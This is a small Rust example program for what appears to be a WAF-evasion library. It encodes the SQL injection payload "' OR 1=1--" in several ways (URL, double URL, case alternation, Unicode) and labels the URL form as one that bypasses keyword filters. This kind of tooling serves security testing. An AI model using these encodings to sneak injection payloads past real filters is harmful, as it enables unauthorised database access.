use wafrift_encoding::{Strategy, encode};
fn main() {
let payload = "' OR 1=1--";
println!("Original payload:");
println!(" {}", payload);
println!();
let encoded = encode(payload, Strategy::UrlEncode).unwrap();
println!("URL-encoded (bypasses keyword filters):");
println!(" {}", encoded);
println!();
println!("Server decodes this back to:");
println!(" {}", payload);
println!();
println!("Other encodings for comparison:");
let double = encode(payload, Strategy::DoubleUrlEncode).unwrap();
println!(" Double URL: {}", double);
let case_alt = encode(payload, Strategy::CaseAlternation).unwrap();
println!(" Case alt: {}", case_alt);
let unicode = encode(payload, Strategy::UnicodeEncode).unwrap();
println!(" Unicode: {}", unicode);
}